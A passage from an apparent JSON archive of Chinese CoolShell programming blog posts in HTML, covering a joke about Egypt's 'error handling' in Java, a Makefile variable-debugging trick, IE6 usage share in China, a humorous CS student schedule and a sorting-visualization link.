href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-23\" title=\"23: Stock Market Simulation\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-23\" title=\"23: Stock Market Simulation\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-23/lec23.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">23: Stock Market Simulation</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-23\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p22.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-24\" title=\"24: Course Overview; What Do Computer Scientists Do?\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-24\" title=\"24: Course Overview; What Do Computer Scientists Do?\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-24/lec24.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">24: Course Overview; What Do Computer Scientists Do?</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-24\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p23.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4657.html\"><img alt=\"狗日的开源软件许可证\" height=\"150\" src=\"../wp-content/uploads/2011/05/OSS-License-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4657.html\">狗日的开源软件许可证</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2474.html\"><img alt=\"（麻省理工免费课程）C语言内存管理和C++面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2474.html\">（麻省理工免费课程）C语言内存管理和C++面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19612.html\"><img alt=\"50年前的登月程序和程序员有多硬核\" height=\"150\" src=\"../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19612.html\">50年前的登月程序和程序员有多硬核</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17929.html\"><img alt=\"Go编程模式：修饰器\" height=\"150\" src=\"../wp-content/uploads/2017/06/go-hardhat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17757.html\"><img alt=\"如何重构“箭头型”代码\" height=\"150\" src=\"../wp-content/uploads/2017/04/IMG_7411-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17757.html\">如何重构“箭头型”代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3723.html\">（麻省理工免费课程）计算机科学和编程导论</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-9 Error handling in Egypt.html",
    "content": "<html><body><p>以前发布过《<a href=\"https://coolshell.cn/articles/551.html\" target=\"_blank\">C语言的错误处理</a>》一文，不过今天想说的是Egypt的“错误处理”。埃及的事闹得挺大的，国外和中文twitter上更是炸了锅。不要以为程序员就只会写程序——看看程序员举出来的标语吧。呵呵。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_3631\" style=\"width: 600px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2011/02/Error-handling-in-Egypt.jpg\"><img alt=\"\" class=\"size-full wp-image-3631\" height=\"454\" src=\"../wp-content/uploads/2011/02/Error-handling-in-Egypt.jpg\" title=\"Error handling in Egypt\" width=\"600\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3631\">Error handling in Egypt</figcaption></figure>\n<p>当然，作为程序员来说，这段代码显然还需要重构：<br/>\n<span id=\"more-3630\"></span></p>\n<pre class=\"EnlighterJSRAW\">try{\n    elections(free,fare);\n} catch(DemocracyNotFoundException){\n    System.err.println(\"Time for Mubarak to leave\");\n}</pre>\n<p>也有的程序员说，System.err.println不是处理错误的最好方法，正确的方法应该是：</p>\n<pre class=\"EnlighterJSRAW\">try {\n    elections(free,fair);\n} catch (DemocracyNotFoundException e) {\n    throw new MubarakDepartureParty(e);\n}</pre>\n<p>最后，我们希望Egypt不要出现：</p>\n<pre class=\"EnlighterJSRAW\">...\nfinally {\n    Security.shootProtesters();\n}</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3630.html\">Error handling in Egypt</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-1 如何调试makefile变量.html",
    "content": "<html><body><p>六、七年前写过一篇《<a href=\"http://blog.csdn.net/haoel/archive/2004/02/24/2886.aspx\" target=\"_blank\" title=\"跟我一起写Makefile\">跟我一起写Makefile</a>》，直到今天，还有一些朋友问我一些Makefile的问题，老实说，我有一段时间没有用Makefile了，生疏了。回顾，这几年来大家问题我的问题，其实很多时候是makefile的调试问题。所以，就像我在之前的那篇<a href=\"https://coolshell.cn/articles/3643.html\" target=\"_blank\" title=\"GDB中应该知道的几个调试方法\">关于GDB的技巧的文章</a>中做的一样，在这里向大家介绍一个小小的调试变量的技巧。相信一定对你有用。</p>\n<p>对于Makefile中的各种变量，可能是我们比较头痛的事了。我们要查看他们并不是很方便，需要修改makefile加入echo命令。这有时候很不方便。其实我们可以制作下面一个专门用来输出变量的makefile（假设名字叫：vars.mk）</p>\n<pre class=\"EnlighterJSRAW\">\n%:\n        @echo '$*=$($*)'\n\nd-%:\n        @echo '$*=$($*)'\n        @echo '  origin = $(origin $*)'\n        @echo '   value = $(value  $*)'\n        @echo '  flavor = $(flavor $*)'\n</pre>\n<p>这样一来，我们可以使用make命令的-f参数来查看makefile中的相关变量（包括make的内建变量，比如：COMPILE.c或MAKE_VERSION之类的）。<strong>注意：第二个以“d-”为前缀的目标可以用来打印关于这个变量更为详细的东西</strong>（后面有详细说明）<br/>\n<span id=\"more-3790\"></span></p>\n<p>假设我们的makefile是这个样子（test.mk）</p>\n<pre class=\"EnlighterJSRAW\">\n\nOBJDIR := objdir\nOBJS := $(addprefix $(OBJDIR)/,foo.o bar.o baz.o)\n\nfoo = $(bar)bar = $(ugh)ugh = Huh?\n\nCFLAGS = $(include_dirs) -O\ninclude_dirs = -Ifoo -Ibar\nCFLAGS := $(CFLAGS) -Wall\n\nMYOBJ := a.o b.o c.o\nMYSRC := $(MYOBJ:.o=.c)</pre>\n<p>那么，我们可以这样进行调试：</p>\n<pre class=\"EnlighterJSRAW\">\n\n[hchen@RHELSVR5]$ make -f test.mk -f var.mk OBJS\nOBJS=objdir/foo.o objdir/bar.o objdir/baz.o\n\n[hchen@RHELSVR5]$ make -f test.mk -f var.mk d-foo\nfoo=Huh?\n  origin = file\n  value = $(bar)\n  flavor = recursive\n\n[hchen@RHELSVR5]$ make -f test.mk -f var.mk d-CFLAGS\nCFLAGS=-Ifoo -Ibar -O -O\n  origin = file\n  value = -Ifoo -Ibar -O -O\n  flavor = simple\n\n[hchen@RHELSVR5]$  make -f test.mk -f var.mk d-COMPILE.c\nCOMPILE.c=cc -Ifoo -Ibar -O -Wall   -c\n  origin = default\n  flavor = recursive\n   value = $(CC) $(CFLAGS) $(CPPFLAGS) $(TARGET_ARCH) -c\n</pre>\n<p>我们可以看到：</p>\n<ul>\n<li>make的第一个-f后是要测试的makefile，第二个是我们的debug makefile。</li>\n<li>后面直接跟变量名，如果在变量名前加”d-“，则输出更为详细的东西。</li>\n</ul>\n<p>说一说”d-” 前缀（其意为details），其中调用了下面三个参数。</p>\n<ul>\n<li><span style=\"font-family: 'Courier New';\"><a href=\"http://www.gnu.org/software/make/manual/make.html#Origin-Function\" style=\"font-family: 'Courier New';\">$(origin)</a><span style=\"font-family: 'Courier New';\">：告诉你这个变量是来自哪儿，file表示文件，environment表示环境变量，还有environment override，command line，override，automatic等。</span></span></li>\n<li><span style=\"font-family: 'Courier New';\"><a href=\"http://www.gnu.org/software/make/manual/make.html#Value-Function\">$(value)</a>：打出这个变量没有被展开的样子。比如上述示例中的 foo 变量。</span></li>\n<li><span style=\"font-family: 'Courier New';\"><a href=\"http://www.gnu.org/software/make/manual/make.html#Flavor-Function\">$(flavor)</a>：有两个值，simple表示是一般展开的变量，recursive表示递归展开的变量。</span></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3790.html\">如何调试makefile变量</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-10 中国仍是IE6的重灾区.html",
    "content": "<html><body><p>“IE6于10年前诞生，现在应该是我们同IE6告别的时候了。”微软公司日前推出IE6倒计时网站（the Internet Explorer 6 Countdown，网址为<span style=\"color: #0066cc;\"><a href=\"http://www.ie6countdown.com/\" target=\"_blank\">www.ie6countdown.com</a></span>），旨在尽早淘汰IE6，让用户升级到新版IE浏览器。</p>\n<p>值得注意一点的是，在这张百分比图上所显示的目前仍在使用IE6浏览器上网的百分比第一的是中国——34.5%，这个符合我国国情——什么都要争第一。我国人口世界第一占全世界1/4，网民也是世界第一，还在使用IE6的网民占全世界的1/3，可以我国网民的严重落后。根据<a href=\"http://www.cnnic.net.cn/dtygg/dtgg/201101/t20110118_20250.html\" target=\"_blank\">CNNIC今年的报告</a>，我国现有4.5亿网民，34%也就是1.5亿用户，也就是说你身边每三个人中就有一个在用IE6。而中国的IE6网民占全世界使用IE6网民的一半。</p>\n<p>另外，我发现亚洲是重灾区啊，包括中日韩台印都很猛啊，看来微软在亚洲的营销的确不错。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-3922\" height=\"365\" src=\"../wp-content/uploads/2011/03/IE6-Countdown.png\" title=\"IE6 Countdown\" width=\"495\"/></p>\n<p>我查看了一下Coolshell.cn的2011年到今天为止访问统计，排名第一是的Chrome(41.5%)，第二位的是Firefox(23.22%)，第三位的是IE8(10.7%)，第四位的是IE6(4.8%)。IE6的IP数有6400+。</p>\n<p>看来，在我国程序员这个人群中，越来越多的人使用Chrome+Firefox，挺喜人的，但是IE6还有4.8%，还不如土耳其，马来西亚，印尼等国家。<br/>\n<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7186.html\"><img alt=\"做个环保主义的程序员\" height=\"150\" src=\"../wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7186.html\">做个环保主义的程序员</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4914.html\"><img alt=\"新浪微博的XSS攻击\" height=\"150\" src=\"../wp-content/uploads/2011/06/sina_xss01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4914.html\">新浪微博的XSS攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3872.html\"><img alt=\"微软用新浪来当反面教材\" height=\"150\" src=\"../wp-content/uploads/2011/03/affc-image1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3872.html\">微软用新浪来当反面教材</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3921.html\">中国仍是IE6的重灾区</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-17 计算机专业学生的大学生活.html",
    "content": "<html><body><p>下面看到某国外的同学描述的自己的大学生活，呵呵。做一下解释，</p>\n<ul>\n<li>正常的生活是，10点到17点上课，17点到22点是放松和work（chill相当于relax），22点到凌晨1点是社交活动，然后睡8小时。</li>\n<li>计算机专业的学生的生活是，只要你脑子还在转就work，脑子不转了，就睡2小时。（<del>原来，国外的计算机大学的同学们在大学时就已在疯狂工作了，课都不上</del>）（work是在校的学术作业项目（谢谢网友rho指正））</li>\n</ul>\n<figure class=\"wp-caption aligncenter\" style=\"width: 584px;\"><a href=\"http://i.imgur.com/4kQAz.jpg\" target=\"_blank\"><img alt=\"计算机专业学生的大学生活\" class=\"\" height=\"779\" src=\"http://i.imgur.com/4kQAz.jpg\" title=\"计算机专业学生的大学生活\" width=\"584\"/></a><figcaption class=\"wp-caption-text\">计算机专业学生的大学生活</figcaption></figure>\n<p>不过，看了一下上面的代码，我发现了两个问题：</p>\n<ol>\n<li>sleep(2)，在posix下是秒，在windows下是毫秒。</li>\n<li>(hour &gt;= 22  &amp;&amp;  hour &lt; 1) 这个表达式永假。正确的是(hour &gt;= 22 || hour &lt; 1)</li>\n</ol>\n<p>当然，我们并不能下结论——该同学的在学校里并没有学好编程。因为，你不知道Sleep 和 &amp;&amp; 有没有被重载了。（你要把&amp;&amp;在某些情况下重载成||的行为也不是不可能 。<strong>注：在c++中，你无法重载内建类型的操作符</strong>）</p>\n<p>——————</p>\n<p><span style=\"color: #008000;\">最后说明一下，最近事太多（一个项目要上线，另一个项目需求分析和设计、招聘、酷壳服务器迁移、带孩子、申请签证、给人做培训），所以没有更新，大家见谅</span>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3928.html\">计算机专业学生的大学生活</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-18 可视化的排序过程.html",
    "content": "<html><body><p>下面是一个日本程序员制做的一个<a href=\"http://jsdo.it/norahiko/oxIy/fullscreen\" target=\"_blank\">可视化的排序过程</a>，包括了各种经典的排序算法，你可以调整速度和需要排序的个数。酷壳以前也介绍过几篇相关的文章 <a href=\"https://coolshell.cn/articles/399.html\" rel=\"bookmark\" target=\"_blank\" title=\"一个排序算法比较的网站\">一个排序算法比较的网站</a>，<a href=\"https://coolshell.cn/articles/536.html\" rel=\"bookmark\" target=\"_blank\" title=\"一个显示排序过程的Python脚本\">一个显示排序过程的Python脚本</a> 关于各种排序算法的运行复杂度比较，请参看<a href=\"http://en.wikipedia.org/wiki/Sorting_algorithm#Comparison_of_algorithms\" target=\"_blank\">Wikipedia的排序算法比较</a>。</p>\n<p align=\"center\"><br/>\n</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2583.html\"><img alt=\"一些重要的算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2583.html\">一些重要的算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/536.html\"><img alt=\"一个显示排序过程的Python脚本\" height=\"150\" src=\"../wp-content/uploads/2009/04/bubble-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/536.html\">一个显示排序过程的Python脚本</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/399.html\"><img alt=\"一个排序算法比较的网站\" height=\"150\" src=\"../wp-content/uploads/2009/04/sort-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/399.html\">一个排序算法比较的网站</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" 